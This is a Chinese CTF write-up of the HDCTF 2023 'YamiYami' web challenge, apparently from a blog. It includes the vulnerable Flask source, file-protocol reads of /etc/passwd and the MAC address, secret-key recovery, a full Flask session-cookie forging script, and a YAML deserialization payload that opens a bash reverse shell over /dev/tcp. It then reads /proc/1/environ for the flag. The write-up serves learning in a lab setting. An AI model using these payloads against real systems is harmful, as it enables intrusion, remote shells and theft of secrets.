您现在的位置是:首页 >其他 >[HDCTF 2023]web YamiYami yaml反序列化+session伪造网站首页其他
[HDCTF 2023]web YamiYami yaml反序列化+session伪造
目录
首先进去之后有三个链接,可以点点看,第一个直接跳转到了百度,感觉是一个任意文件读取,第二个上传文件,第三个直接给出了pwd,pwd就是当前所处的目录。
我们尝试用file协议读取/etc/passwd文件,可以读取成功。
1. 非预期
先说非预期,直接在read路由下读取环境变量。
但是如果清除了环境变量,并且flag在根目录,那么这个非预期就没用了。
2.session伪造
尝试读取/flag和app/app.py都被拒绝,提示是被过滤了。
这里可以使用二次编码绕过:
源码如下:
#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"
@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/pwd">pwd</a>
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'
def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])
需要做的事情就2件,因为提示在/boogipop做坏事,那么就需要伪造session,Yaml反序列化。
伪造session,需要知道secret_key,根据上面的对secret_key的定义,可以知道:
具体方法如下,先用file协议读取网卡mac地址,再利用脚本进行解密、修改和加密。
前提知识:
在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode() 方法来获取计算机的硬件地址,这个地址将作为 UUID 的一部分。
那么/sys/class/net/eth0/address,这个就是网卡的位置,读取他进行伪造即可。
具体方法如下,先用file协议读取网卡mac地址,再利用脚本进行解密、修改和加密。
步骤如下,运行下面脚本得到secret_key后,再运行flask_session_cookie_manager3.py,在我这里我把它放到main.py了。这个脚本在下面,可以下载到本地,cmd运行。执行的cmd命令我放在了紧跟的脚本的注释里。
#02:42:ac:02:45:95
import random
random.seed(0x0242ac024595)
print (str(random.random()*233))
#231.281943387 #secret_key
#python main.py decode -s 231.28194338656192 -c "eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.ZETklg.pEPhZ5o8PxJOT7pLSFqlhNV28EQ" #解密
#python main.py encode -s 231.28194338656192 -t "{'passport': 'Welcome To HDCTF2023'}" #加密
#eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.ZETyAw.dHJKdmKcdjzcIOEL-bbhrFuedE4 #加密结果
flask_session_cookie_manager3.py 如下:
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if (args.subcommand == 'encode'):
if (args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif (args.subcommand == 'decode'):
if (args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value, args.secret_key))
elif (args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
得到伪造的session:
eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.ZETyAw.dHJKdmKcdjzcIOEL-bbhrFuedE4
这里的session用来一会替换原来的session,先放着,我们去yaml反序列化。
3yaml反序列化
yaml反序列化可以去网上搜一下了解一下,我就不再多说了,毕竟我也是小白。这里利用它是因为最后这个路由/boogipop使用到了yaml.full_load(f)。
内容可以是反弹shell的脚本,这里我就直接参考题主了:
!!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c "bash -i >& /dev/tcp/ip/port <&1"')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list
命名为2.txt,在upload页面上交。为什么不是.yaml后缀呢,因为在黑名单里,那为什么.txt也能被当作.yaml来解析呢。
猜测可能是:这里full_load调用了load函数,而load函数输入的是一个steam,也就是流,二进制文件,所以不管是什么后缀都无关紧要了。
其实也能从注释中窥见一二,翻译过来就是:
分析流中的所有YAML文档
并生成相应的Python对象。
最后在/boogipop路由下,改变session的值,并且包含文件2.txt,在vps上监听端口,反弹shell成功,由于根目录和flag.sh和/tmp下面的flag文件没有flag值,可能在flag在环境变量中。读取,得到flag。
执行命令
cat /proc/1/environ得到flag
小结:
yaml反序列化要补。